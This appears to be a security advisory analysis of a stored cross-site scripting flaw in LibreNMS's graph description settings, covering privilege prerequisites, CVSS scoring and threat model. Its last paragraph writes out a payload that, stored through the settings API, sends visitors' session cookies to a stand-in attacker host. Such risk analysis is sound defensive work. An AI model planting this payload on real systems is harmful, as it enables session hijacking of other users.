LibreNMS CVE-2026-84188

Exploitation requires an active administrator-level session in LibreNMS with write access to the graph_descr.<graphtype> settings namespace via the PUT settings API endpoint - this corresponds to CVSS PR:H. Triggering execution additionally requires at least one other authenticated user to navigate to a graphs page for the affected graph type (CVSS UI:R/UI:P). The payload is persistent: once stored, it executes for every subsequent authenticated visitor to that graph page until the configuration value is sanitized or overwritten. Exploitation is strictly bounded to scenarios involving either a malicious insider with admin rights or an external attacker who has already compromised an admin credential. Unauthenticated users and low-privileged authenticated users cannot plant the payload. The vulnerability does not affect graph pages served to unauthenticated sessions.

The CVSS 3.1 vector confirmed by the GHSA advisory - AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - scores 4.8 Medium, accurately reflecting the high privilege prerequisite (PR:H) and required victim interaction (UI:R) that substantially bound real-world risk. The CVSS 4.0 vector (SC:L/SI:L/SA:N) corroborates limited downstream impact. No EPSS score was supplied in the input data, and this CVE does not appear in CISA KEV, providing no confirmed signal of active exploitation. However, the GHSA advisory includes a working PoC with exact API calls, which lowers the skill bar for abuse. The scope change (S:C in CVSS 3.1) is the key risk amplifier: a single admin-account compromise or insider threat can silently implant a persistent payload that harvests sessions from all other authenticated users. The realistic threat model is therefore a compromised admin pivoting laterally - not an external unauthenticated attacker - meaning organizations with strong admin-account controls face materially lower risk than those without MFA or privileged access management on their LibreNMS instances.

An attacker who holds or has stolen an admin session issues a PUT request to /settings/graph_descr.device_processor with value <img src=x onerror="fetch('https://attacker.example/c?'+document.cookie)">, storing the payload persistently. Any authenticated LibreNMS user who subsequently navigates to the graphs page for the device_processor type will have their session cookie exfiltrated to the attacker-controlled endpoint. The GHSA advisory includes a working PoC demonstrating this exact request sequence, requiring no additional tooling beyond HTTP access to the LibreNMS instance.